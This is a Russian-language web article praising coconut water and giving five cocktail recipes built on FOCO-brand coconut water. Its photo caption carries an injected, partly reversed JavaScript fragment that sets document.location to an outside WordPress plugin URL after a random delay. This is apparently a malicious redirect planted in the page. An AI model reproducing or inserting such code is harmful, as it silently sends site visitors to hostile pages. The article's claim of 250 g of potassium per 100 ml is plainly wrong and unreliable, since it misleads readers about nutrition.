5 освежающих коктейлей с кокосовой водой

Перечисляем полезные свойства кокосовой воды и объясняем, почему готовить на её основе коктейли — прекрасная идея в любую погоду.

Итак, что нужно знать про кокосовую воду. В одной чашке напитка (250 мл) содержится примерно 46 ккал, что делает его низкокалорийным. Это первое. Кроме того, кокосовая вода отличается высоким содержанием калия — 250 г на 100 мл. Это второе.

5 освежающих коктейлей с кокосовой водой. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Кокосовая вода отлично утоляет жажду жарким летом. Благодаря своему составу электролитов она также используется при обезвоживании и потере жидкости при различных обстоятельствах.

 

Натуральная кокосовая вода не содержит сахара (будьте внимательнее при покупке, если в составе есть сахар, это уже восстановленная, а не натуральная кокосовая вода). Так что напиток отлично подойдёт для спортсменов, следящих за потреблением сахара и гидратацией организма. В 2012 году американские учёные исследовали обычную воду, кокосовую воду и различные спортивные напитки, чтобы выяснить, что лучше всего подходит для тренировок.  В эксперименте приняли участие спортсмены, которые занимались в жару, а затем пили один из предложенных напитков. Исследователи обнаружили, что все три напитка идеально подходят для тренировок, однако выяснилось, что благодаря кокосовой воде спортсмены чувствуют прилив энергии и снижение случаев тошноты во время тренировки — они могут заниматься дольше и интенсивнее.

 

Кокосовая вода полезна не только спортсменам. Из неё можно приготовить ещё бодрящие и освежающие коктейли. Предлагаем вам попробовать сделать простой коктейль с использованием кокосовой воды FOCO.

5 рецептов коктейлей с кокосовой водой FOCO

0 calories

Пряный ананас

Коктейль с кокосовой водой и пряными нотками имбиря и чабреца.

Изображение рецепта Пряный ананас

Пряный ананас

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

ккал

Ингредиенты

Кокосовая вода (FOCO с ананасом)

120 мл

Имбирь (корень)

10 г

Чабрец (свежий)

12 г

Лимон

1/4 шт.

Процесс приготовления

  1. В бокал для Long Drink положите имбирь, чабрец, лимон и раздавите мадлером (толкушкой).
  2. Добавьте лёд (примерно 1/3 бокала) и налейте кокосовую воду FOCO. Перемешайте напиток длинной ложкой.
  3. Готово! Украсьте коктейль веточкой эстрагона и долькой лимона.

0 calories

Молочный томат

Необычное сочетание кокосовой воды, томатного сока и специй.

Изображение рецепта Молочный томат

Молочный томат

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

ккал

Ингредиенты

Кокосовая вода (FOCO молочный)

100 мл

Сок (томатный)

50 мл

Перец (чили молотый)

по вкусу

Перец (чёрный молотый)

по вкусу

Соус (соевый)

по вкусу

Лимон

1/4 шт.

Процесс приготовления

  1. Подготовьте бокал для Long Drink. Добавьте в бокал чёрный и чили перец по вкусу, лимон и соевый соус.
  2. Потолките ингредиенты мадлером (толкушкой).
  3. Положите в бокал лёд и налейте молочный FOCO, томатный сок и соевый соус, а затем перемешайте всё длинной ложкой.

0 calories

Лето

По-летнему освежающий коктейль с кокосовой водой, огурцом и имбирём.

Изображение рецепта Лето

Лето

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

ккал

Ингредиенты

Кокосовая вода (FOCO классика)

130 мл

Огурец (свежий)

1/2 шт.

Имбирь (корень)

10 г

Процесс приготовления

  1. Очистите огурец и мелко нарежьте. Возьмите бокал для Long Drink и положите в него огурец, имбирь и потолките мадлером (толкушкой).
  2. Положите в бокал лёд, налейте в него FOCO классический и перемешайте.
  3. Украсьте бокал огурцом и веточкой зелени.

0 calories

Мохито личи

Разнообразьте традиционный мохито нотками имбиря и кокосовой водой со вкусом личи.

Изображение рецепта Мохито личи

Мохито личи

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

ккал

Ингредиенты

Кокосовая вода (FOCO с личи)

150 мл

Имбирь (корень)

10 г

Мята (свежая)

12 г

Лимон

1/4 шт.

Процесс приготовления

  1. В бокал для Long Drink добавьте имбирь и лимон, раздавите мадлером (толкушкой).
  2. Скатайте мяту в комок, положите в бокал и потолките все ингредиенты ещё немного.
  3. Налейте в бокал FOCO с личи, добавьте лёд и перемешайте напиток.
  4. Украсьте коктейль веточкой мяты и долькой лимона.

0 calories

Энергия Малакки

Этот коктейль позволит вам почувствовать настоящую энергию города Малакка, расположенного на юге Малайского полуострова.

Изображение рецепта Энергия Малакки

Энергия Малакки

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

ккал

Ингредиенты

Кокосовая вода (FOCO с гранатом)

150 мл

Огурец (свежий)

50 г

Базилик (свежий)

12 г

Лайм

1/2 шт.

Сахар (коричневый)

по вкусу

Процесс приготовления

  1. Нарезанный огурец, базилик и лайм положите в бокал для Long Drink и несильно потолките мадлером (толкушкой).
  2. Налейте FOCO с гранатом, добавьте в напиток лёд и посыпьте сахаром. Перемешайте длинной ложкой.
  3. Украсьте бокал веточкой базилика и долькой лайма.

Статьи по теме

5 рецептов витаминных коктейлей от ресторана Black Thai

3 безалкогольных коктейля для домашней вечеринки

9 низкокалорийных коктейлей для жаркой вечеринки

3 освежающих весенних коктейля из фруктов и ягод

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector